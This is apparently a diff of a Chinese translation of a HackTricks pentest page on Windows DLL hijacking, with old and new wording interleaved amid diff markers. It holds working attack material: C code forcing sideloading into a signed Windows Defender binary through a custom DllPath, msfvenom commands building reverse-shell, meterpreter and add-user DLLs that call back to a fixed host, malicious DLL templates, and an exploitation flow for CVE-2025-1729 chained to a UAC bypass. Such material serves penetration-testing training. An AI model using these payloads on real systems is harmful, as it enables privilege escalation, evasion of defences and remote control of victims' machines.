如果您在寻找 **特定可执行文件中的缺失 DLL**,则应设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件**。
|
如果你在寻找**特定可执行文件中的 missing dll**,你应该再设置一个类似 "Process Name" "contains" "\<exec name>" 的过滤器,执行它,然后停止捕获事件。
|
||||||
|
|
||||||
## Exploiting Missing Dlls
|
## 利用缺失的 Dlls
|
||||||
|
|
||||||
为了提升权限,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL,该文件夹 **在搜索 DLL 之前** 位于原始 DLL 的文件夹(奇怪的情况),或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索 DLL**,而原始 DLL 在任何文件夹中都不存在。
|
为了提升权限,我们最好的机会是能够**写入一个特权进程会尝试加载的 dll**到某些**将被搜索的地方**。因此,我们可以在一个**在原始 dll 所在文件夹之前被搜索的文件夹**中写入该 dll(罕见情况),或者我们可以写入某个**将被搜索但原始 dll 在任何文件夹都不存在**的文件夹中。
|
||||||
|
|
||||||
### Dll Search Order
|
### Dll 搜索顺序
|
||||||
|
|
||||||
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
|
在 [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) 中可以找到 Dll 是如何被具体加载的。
|
||||||
|
|
||||||
**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时,DLL 劫持的问题就会出现,确保它在真实 DLL 之前被加载。防止此问题的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
|
Windows applications 按照一组预定义的搜索路径查找 DLL,并遵循特定顺序。当一个有害的 DLL 被策略性地放置在这些目录之一,从而确保它在真实 DLL 之前被加载时,就会出现 DLL hijacking 问题。防止这种情况的一种解决方法是确保应用在引用所需 DLL 时使用绝对路径。
|
||||||
|
|
||||||
您可以在 32 位系统上看到 **DLL 搜索顺序**:
|
下面是 32-bit 系统上的 **DLL search order**:
|
||||||
|
|
||||||
1. 应用程序加载的目录。
|
1. 应用程序加载的目录。
|
||||||
2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取该目录的路径。(_C:\Windows\System32_)
|
2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取此目录的路径。(_C:\Windows\System32_)
|
||||||
3. 16 位系统目录。没有函数获取该目录的路径,但会进行搜索。 (_C:\Windows\System_)
|
3. 16-bit 系统目录。没有获取该目录路径的函数,但该目录会被搜索。(_C:\Windows_)
|
||||||
4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取该目录的路径。(_C:\Windows_)
|
4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取此目录的路径。
|
||||||
|
1. (_C:\Windows_)
|
||||||
5. 当前目录。
|
5. 当前目录。
|
||||||
6. 在 PATH 环境变量中列出的目录。请注意,这不包括由 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
|
6. 列在 PATH 环境变量中的目录。注意,这不包括由 **App Paths** 注册表项指定的每应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
|
||||||
|
|
||||||
这是启用 **SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。
|
以上是在启用 **SafeDllSearchMode** 的默认搜索顺序。当其被禁用时,当前目录会提升到第二位。要禁用此功能,创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。
|
||||||
|
|
||||||
如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**,搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。
|
如果以 **LOAD_WITH_ALTERED_SEARCH_PATH** 调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数,则搜索会从 LoadLibraryEx 正在加载的可执行模块的目录开始。
|
||||||
|
|
||||||
最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中搜索**(如果 DLL 有任何依赖项,它们将仅按名称加载时进行搜索)。
|
最后,注意 **dll 也可以通过指示绝对路径而不是仅名称来加载**。在这种情况下,该 dll **只会在该路径中被搜索**(如果该 dll 有任何依赖项,它们将按照仅通过名称加载时的方式被搜索)。
|
||||||
|
|
||||||
还有其他方法可以更改搜索顺序,但我在这里不打算解释它们。
|
还有其他方法可以改变搜索顺序,但这里不再详述。
|
||||||
|
|
||||||
#### Exceptions on dll search order from Windows docs
|
### 通过 RTL_USER_PROCESS_PARAMETERS.DllPath 强制 sideloading
|
||||||
|
|
||||||
Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
|
一种高级且确定性地影响新创建进程的 DLL 搜索路径的方法,是在使用 ntdll 的原生 API 创建进程时设置 RTL_USER_PROCESS_PARAMETERS 中的 DllPath 字段。通过在此处提供一个攻击者可控的目录,当目标进程通过名称解析导入的 DLL(没有绝对路径且未使用安全加载标志)时,可以被强制从该目录加载恶意 DLL。
|
||||||
|
|
||||||
- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已存在的 DLL 之前检查重定向和清单。**在这种情况下,系统不会进行 DLL 搜索**。
|
关键思路
|
||||||
- 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL,**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
|
- 使用 RtlCreateProcessParametersEx 构建进程参数,并提供一个指向你可控文件夹(例如你的 dropper/unpacker 所在目录)的自定义 DllPath。
|
||||||
- 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。
|
- 使用 RtlCreateUserProcess 创建进程。当目标二进制按名称解析 DLL 时,加载器将在解析期间查阅所提供的 DllPath,从而实现可靠的 sideloading,即使恶意 DLL 不与目标 EXE 同目录。
|
||||||
|
|
||||||
### Escalating Privileges
|
注意/限制
|
||||||
|
- 这影响被创建的子进程;它不同于 SetDllDirectory,后者只影响当前进程。
|
||||||
|
- 目标必须以名称导入或通过 LoadLibrary 加载 DLL(没有绝对路径且未使用 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories)。
|
||||||
|
- KnownDLLs 和硬编码的绝对路径无法被劫持。转发导出和 SxS 可能改变优先级。
|
||||||
|
|
||||||
**Requirements**:
|
最小化 C 示例(ntdll、宽字符串、简化的错误处理):
|
||||||
|
```c
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
- 确定一个在 **不同权限** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**。
|
// Prototype (not in winternl.h in older SDKs)
|
||||||
- 确保在 **搜索 DLL** 的任何 **目录** 中具有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
|
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||||
|
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||||
|
PUNICODE_STRING ImagePathName,
|
||||||
|
PUNICODE_STRING DllPath,
|
||||||
|
PUNICODE_STRING CurrentDirectory,
|
||||||
|
PUNICODE_STRING CommandLine,
|
||||||
|
PVOID Environment,
|
||||||
|
PUNICODE_STRING WindowTitle,
|
||||||
|
PUNICODE_STRING DesktopInfo,
|
||||||
|
PUNICODE_STRING ShellInfo,
|
||||||
|
PUNICODE_STRING RuntimeData,
|
||||||
|
ULONG Flags
|
||||||
|
);
|
||||||
|
|
||||||
是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中 **拥有写入权限更奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
|
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||||
如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能在那里找到一个 DLL 劫持的 **PoC**,适用于您可以使用的 Windows 版本(可能只需更改您具有写入权限的文件夹的路径)。
|
PUNICODE_STRING NtImagePathName,
|
||||||
|
ULONG Attributes,
|
||||||
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||||
|
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||||
|
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||||
|
HANDLE ParentProcess,
|
||||||
|
BOOLEAN InheritHandles,
|
||||||
|
HANDLE DebugPort,
|
||||||
|
HANDLE ExceptionPort,
|
||||||
|
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||||
|
);
|
||||||
|
|
||||||
请注意,您可以通过以下方式 **检查文件夹中的权限**:
|
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||||
|
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||||
|
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||||
|
}
|
||||||
|
|
||||||
|
int wmain(void) {
|
||||||
|
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||||
|
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||||
|
|
||||||
|
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||||
|
wchar_t dllDir[MAX_PATH];
|
||||||
|
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||||
|
|
||||||
|
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||||
|
RtlInitUnicodeString(&uImage, image);
|
||||||
|
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||||
|
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||||
|
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||||
|
|
||||||
|
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||||
|
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||||
|
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||||
|
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||||
|
|
||||||
|
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||||
|
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||||
|
NULL, NULL, NULL, NULL, NULL, 0);
|
||||||
|
if (st < 0) return 1;
|
||||||
|
|
||||||
|
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||||
|
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||||
|
if (st < 0) return 1;
|
||||||
|
|
||||||
|
// Resume main thread etc. if created suspended (not shown here)
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Operational usage example
|
||||||
|
- 将恶意 xmllite.dll(导出所需函数或代理真实的 dll)放到你的 DllPath 目录中。
|
||||||
|
- 启动一个已签名的二进制文件,该文件已知会按名称查找 xmllite.dll,使用上述技术。加载器通过提供的 DllPath 解析导入并旁加载你的 DLL。
|
||||||
|
|
||||||
|
该技术在实战中被观察到用于驱动多阶段旁加载链:初始启动器放下一个辅助 DLL,随后该辅助 DLL 会生成一个 Microsoft-signed、可劫持的二进制文件并带有自定义 DllPath,以强制从一个暂存目录加载攻击者的 DLL。
|
||||||
|
|
||||||
|
|
||||||
|
#### 来自 Windows 文档的 dll 搜索顺序例外情况
|
||||||
|
|
||||||
|
Windows 文档中指出了对标准 DLL 搜索顺序的某些例外:
|
||||||
|
|
||||||
|
- 当遇到一个 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过常规搜索。系统会先检查重定向和 manifest,然后默认使用已在内存中的 DLL。**在这种情况下,系统不会对该 DLL 进行搜索**。
|
||||||
|
- 如果某个 DLL 被识别为当前 Windows 版本的 **known DLL**,系统将使用其版本的 known DLL 以及任何其依赖的 DLL,**放弃搜索过程**。注册表键 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存了这些 known DLL 的列表。
|
||||||
|
- 如果某个 **DLL 有依赖项**,这些依赖 DLL 的搜索会像它们仅通过其 **模块名** 指定一样进行,无论初始 DLL 是否通过完整路径被识别。
|
||||||
|
|
||||||
|
### 提升权限
|
||||||
|
|
||||||
|
**要求**:
|
||||||
|
|
||||||
|
- 识别一个以或将以 **不同权限** 运行的进程(用于横向或侧向移动),且该进程**缺少某个 DLL**。
|
||||||
|
- 确保对将**搜索 DLL**的任意**目录**具有**写权限**。该位置可能是可执行文件的目录或系统路径中的某个目录。
|
||||||
|
|
||||||
|
是的,要找到这些先决条件很复杂,因默认情况下很难发现一个具有特权的可执行文件缺少 dll,而且在系统路径文件夹上拥有写权限更是不寻常(默认情况下你不能)。但在配置错误的环境中,这是可能的。\
|
||||||
|
如果你幸运地满足这些条件,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即便该项目的**主要目标是 bypass UAC**,你也可能在那里找到针对你所用 Windows 版本的 **PoC**,用于 Dll hijaking(可能只需更改你有写权限的文件夹路径即可)。
|
||||||
|
|
||||||
|
注意,你可以通过以下操作**检查你在某个文件夹中的权限**:
|
||||||
```bash
|
```bash
|
||||||
accesschk.exe -dqv "C:\Python27"
|
accesschk.exe -dqv "C:\Python27"
|
||||||
icacls "C:\Python27"
|
icacls "C:\Python27"
|
||||||
```
|
```
|
||||||
并**检查 PATH 中所有文件夹的权限**:
|
并且 **检查 PATH 中所有文件夹的权限**:
|
||||||
```bash
|
```bash
|
||||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||||
```
|
```
|
||||||
您还可以使用以下命令检查可执行文件的导入和 DLL 的导出:
|
你也可以使用以下方法检查 executable 的 imports 和 dll 的 exports:
|
||||||
```c
|
```c
|
||||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||||
dumpbin /export /path/file.dll
|
dumpbin /export /path/file.dll
|
||||||
```
|
```
|
||||||
对于如何**利用 Dll Hijacking 提升权限**的完整指南,检查:
|
要获得关于如何在具有向 **System Path folder** 写入权限的情况下,滥用 **Dll Hijacking** 来提升权限的完整指南,请查看:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
writable-sys-path-+dll-hijacking-privesc.md
|
writable-sys-path-+dll-hijacking-privesc.md
|
||||||
@ -99,39 +192,39 @@ writable-sys-path-+dll-hijacking-privesc.md
|
|||||||
|
|
||||||
### 自动化工具
|
### 自动化工具
|
||||||
|
|
||||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统 PATH 中的任何文件夹上具有写入权限。\
|
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) 将检查你是否对 system PATH 中的任何文件夹具有写权限。\
|
||||||
其他有趣的自动化工具来发现此漏洞是 **PowerSploit 函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_ 和 _Write-HijackDll_。
|
其他用于发现此类漏洞的有趣自动化工具包括 **PowerSploit functions**:_Find-ProcessDLLHijack_、_Find-PathDLLHijack_ 和 _Write-HijackDll_。
|
||||||
|
|
||||||
### 示例
|
### 示例
|
||||||
|
|
||||||
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的 dll**。无论如何,请注意 Dll Hijacking 在[**从中等完整性级别提升到高完整性级别(绕过 UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac)或[**从高完整性提升到 SYSTEM**](../index.html#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的 dll 劫持研究中找到**如何创建有效的 dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
|
如果你发现了可利用的场景,要成功利用它最重要的事项之一是 **创建一个 dll,至少导出可执行文件将从中导入的所有函数**。不过请注意,Dll Hijacking 在 [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) 或者从[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system) 时非常有用。你可以在这个专注于用于执行的 dll hijacking 的研究中找到一个 **如何创建有效 dll** 的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)。\
|
||||||
此外,在**下一节**中,您可以找到一些**基本的 dll 代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的 dll**。
|
此外,在**下一节**你可以找到一些**基本 dll 代码**,这些代码可作为**模板**或用于创建**导出非必需函数的 dll**。
|
||||||
|
|
||||||
## **创建和编译 Dll**
|
## **Creating and compiling Dlls**
|
||||||
|
|
||||||
### **Dll 代理**
|
### **Dll Proxifying**
|
||||||
|
|
||||||
基本上,**Dll 代理**是一个能够**在加载时执行您的恶意代码**的 Dll,同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
|
基本上一个 **Dll proxy** 是一个 Dll,能够 **在加载时执行你的恶意代码**,但也会 **暴露** 并 **工作**,**按预期**,通过 **将所有调用转发到真实库**。
|
||||||
|
|
||||||
使用工具 [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 或 [**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择您想要代理的库**,并**生成一个代理 dll**,或**指定 Dll**并**生成一个代理 dll**。
|
使用工具 [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 或 [**Spartacus**](https://github.com/Accenture/Spartacus),你实际上可以 **指定一个可执行文件并选择要 proxify 的库** 并 **生成一个 proxified dll**,或者 **指定该 Dll** 并 **生成一个 proxified dll**。
|
||||||
|
|
||||||
### **Meterpreter**
|
### **Meterpreter**
|
||||||
|
|
||||||
**获取 rev shell (x64):**
|
**Get rev shell (x64):**
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||||
```
|
```
|
||||||
**获取一个 meterpreter (x86):**
|
**获取 meterpreter (x86):**
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||||
```
|
```
|
||||||
**创建用户(x86 我没有看到 x64 版本):**
|
**创建一个用户(x86 我没看到 x64 版本):**
|
||||||
```
|
```
|
||||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||||
```
|
```
|
||||||
### 你自己的
|
### Your own
|
||||||
|
|
||||||
请注意,在多个情况下,您编译的 Dll 必须 **导出多个函数**,这些函数将被受害者进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**攻击将失败**。
|
注意:在某些情况下,你编译的 Dll 必须 **导出多个函数**,这些函数会被 victim process 加载;如果这些函数不存在,**binary 将无法加载** 它们,**exploit 将失败**。
|
||||||
```c
|
```c
|
||||||
// Tested in Win10
|
// Tested in Win10
|
||||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||||
@ -212,20 +305,20 @@ break;
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## 案例研究:CVE-2025-1729 - 使用 TPQMAssistant.exe 的权限提升
|
## 案例研究:CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
|
||||||
|
|
||||||
此案例演示了联想的 TrackPoint 快速菜单(`TPQMAssistant.exe`)中的 **Phantom DLL Hijacking**,被追踪为 **CVE-2025-1729**。
|
本案例演示了 Lenovo 的 TrackPoint Quick Menu (`TPQMAssistant.exe`) 中的 **Phantom DLL Hijacking**,编号为 **CVE-2025-1729**。
|
||||||
|
|
||||||
### 漏洞详情
|
### 漏洞详情
|
||||||
|
|
||||||
- **组件**:位于 `C:\ProgramData\Lenovo\TPQM\Assistant\` 的 `TPQMAssistant.exe`。
|
- **组件**: `TPQMAssistant.exe` 位于 `C:\ProgramData\Lenovo\TPQM\Assistant\`。
|
||||||
- **计划任务**:`Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` 每天上午 9:30 在登录用户的上下文中运行。
|
- **计划任务**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` 在已登录用户的上下文中每天 9:30 AM 运行。
|
||||||
- **目录权限**:可由 `CREATOR OWNER` 写入,允许本地用户放置任意文件。
|
- **目录权限**: 可被 `CREATOR OWNER` 写入,允许本地用户放置任意文件。
|
||||||
- **DLL 搜索行为**:首先尝试从其工作目录加载 `hostfxr.dll`,如果缺失则记录 "NAME NOT FOUND",表明本地目录搜索优先。
|
- **DLL 搜索行为**: 尝试优先从其工作目录加载 `hostfxr.dll`,如果缺失会记录 "NAME NOT FOUND",表明本地目录搜索优先。
|
||||||
|
|
||||||
### 利用实现
|
### 利用实现
|
||||||
|
|
||||||
攻击者可以在同一目录中放置恶意的 `hostfxr.dll` 存根,利用缺失的 DLL 在用户上下文中实现代码执行:
|
攻击者可以在相同目录放置恶意的 `hostfxr.dll` 存根,利用缺失的 DLL 在用户上下文下实现代码执行:
|
||||||
```c
|
```c
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
@ -240,20 +333,25 @@ return TRUE;
|
|||||||
### 攻击流程
|
### 攻击流程
|
||||||
|
|
||||||
1. 作为标准用户,将 `hostfxr.dll` 放入 `C:\ProgramData\Lenovo\TPQM\Assistant\`。
|
1. 作为标准用户,将 `hostfxr.dll` 放入 `C:\ProgramData\Lenovo\TPQM\Assistant\`。
|
||||||
2. 等待计划任务在当前用户上下文中于上午9:30运行。
|
2. 等待计划任务在当前用户上下文于上午 9:30 运行。
|
||||||
3. 如果在任务执行时有管理员登录,恶意 DLL 将以中等完整性在管理员会话中运行。
|
3. 如果在任务执行时有管理员已登录,恶意 DLL 将在管理员会话中以 medium integrity 运行。
|
||||||
4. 链接标准 UAC 绕过技术,从中等完整性提升到 SYSTEM 权限。
|
4. 串联标准 UAC bypass 技术,将权限从 medium integrity 提升为 SYSTEM。
|
||||||
|
|
||||||
### 缓解措施
|
### 缓解措施
|
||||||
|
|
||||||
联想通过 Microsoft Store 发布了 UWP 版本 **1.12.54.0**,该版本在 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` 下安装 TPQMAssistant,移除易受攻击的计划任务,并卸载遗留的 Win32 组件。
|
Lenovo 通过 Microsoft Store 发布了 UWP 版本 **1.12.54.0**,该版本将 TPQMAssistant 安装到 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` 下,移除了易受攻击的计划任务,并卸载了传统的 Win32 组件。
|
||||||
|
|
||||||
## 参考文献
|
## References
|
||||||
|
|
||||||
- [CVE-2025-1729 - 使用 TPQMAssistant.exe 的权限提升](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||||||
|
|
||||||
|
|
||||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||||
|
|
||||||
|
|
||||||
|
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user